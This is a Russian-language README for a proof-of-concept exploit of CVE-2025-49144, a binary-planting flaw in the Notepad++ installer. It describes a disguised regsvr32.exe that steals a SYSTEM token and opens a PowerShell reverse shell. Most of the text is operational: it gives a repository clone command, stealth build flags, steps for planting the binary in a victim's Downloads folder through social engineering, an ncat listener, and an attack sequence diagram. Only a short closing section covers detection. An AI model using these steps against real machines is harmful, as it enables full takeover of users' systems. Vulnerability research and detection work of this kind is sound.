
PoC CVE-2025-49144
⚠️ ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ
Этот код создан в образовательных и исследовательских целях для понимания уязвимостей, связанных с подменой бинарных файлов. Используйте его только в контролируемых средах с соответствующим разрешением.
Данный PoC демонстрирует уязвимость подмены бинарного файла в установщике Notepad++ (CVE-2025-49144), описанную в GHSA-9vx8-v79m-6m24. Уязвимость позволяет атакующему получить привилегии уровня SYSTEM, разместив вредоносный исполняемый файл с именем regsvr32.exe в том же каталоге, где находится установщик Notepad++.
regsvr32.exePoC состоит из нескольких компонентов, работающих вместе:
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ Notepad++ │ │ Malicious │ │ Reverse Shell │
│ Installer │───▶│ regsvr32.exe │───▶│ (PowerShell) │
│ (searches for │ │ (CGO binary) │ │ with SYSTEM │
│ regsvr32.exe) │ │ │ │ privileges │
└─────────────────┘ └──────────────────┘ └─────────────────┘
| Файл | Назначение | Строки |
|---|---|---|
main.go | Точка входа, обрабатывает выполнение regsvr32 | ~80 |
winbind.h | Основной заголовочный файл с объявлениями функций | ~45 |
main.c | Основной модуль запуска реверс-шелла и создания отсоединённых процессов | ~75 |
shell.c | Обработчик оболочки с обфусцированным выполнением PowerShell | ~120 |
process.c | Получение токена и создание процесса SYSTEM | ~195 |
socket.c | Сетевое соединение с TCP keep-alive | ~85 |
threads.c | Потоки ввода-вывода между сокетом и каналами | ~60 |
utils.c | Проверка входных данных и ограничение частоты | ~35 |
obfuscate.c | Методы обфускации пути PowerShell | ~70 |
# Install Go (1.24+)
# Install MinGW-w64 for CGO compilation
# Install Git for version control
# Clone the repository
git clone https://github.com/Vr00mm/CVE-2025-49144
cd CVE-2025-49144
# Build as executable (masquerading as regsvr32.exe)
# For maximum stealth (strip debug info)
go build -ldflags="-s -w" -o regsvr32.exe
# For development (with debug symbols)
go build -o regsvr32_debug.exe
# 1. Place malicious regsvr32.exe in same directory as Notepad++ installer
# Usually the Downloads folder where users download the installer
copy regsvr32.exe "C:\Users\%USERNAME%\Downloads\"
# 2. User downloads official Notepad++ installer to Downloads folder
# 3. When user runs the installer, it searches for regsvr32.exe in current directory first
# 4. Installer finds and executes our malicious regsvr32.exe with SYSTEM privileges
# 5. Listen for incoming reverse shell connection
ncat -tlnp 4445
sequenceDiagram
participant User
participant Attacker
participant Downloads
participant NotepadInstaller
participant MaliciousRegsvr32
participant SystemProcess
User->>Downloads: Download Notepad++ installer
Attacker->>Downloads: Place malicious regsvr32.exe (social engineering)
User->>NotepadInstaller: Run installer from Downloads folder
NotepadInstaller->>Downloads: Search for regsvr32.exe in current directory
Downloads->>MaliciousRegsvr32: Find malicious regsvr32.exe first
NotepadInstaller->>MaliciousRegsvr32: Execute with SYSTEM privileges
MaliciousRegsvr32->>MaliciousRegsvr32: Create detached process
MaliciousRegsvr32->>SystemProcess: Enumerate SYSTEM processes
SystemProcess->>MaliciousRegsvr32: Steal token from winlogon/services
MaliciousRegsvr32->>MaliciousRegsvr32: Create PowerShell with SYSTEM token
MaliciousRegsvr32->>Attacker: Establish reverse connection
MaliciousRegsvr32->>NotepadInstaller: Continue with legitimate regsvr32 functionality
Attacker->>SystemProcess: Execute commands as SYSTEM
Подмена бинарного файла
Повышение привилегий
Механизмы закрепления
Сетевое программирование
Программирование на CGO
# Monitor for suspicious regsvr32 usage
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104}
# Check for unusual network connections
netstat -ano | findstr ":4445"
# Monitor process creation
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688}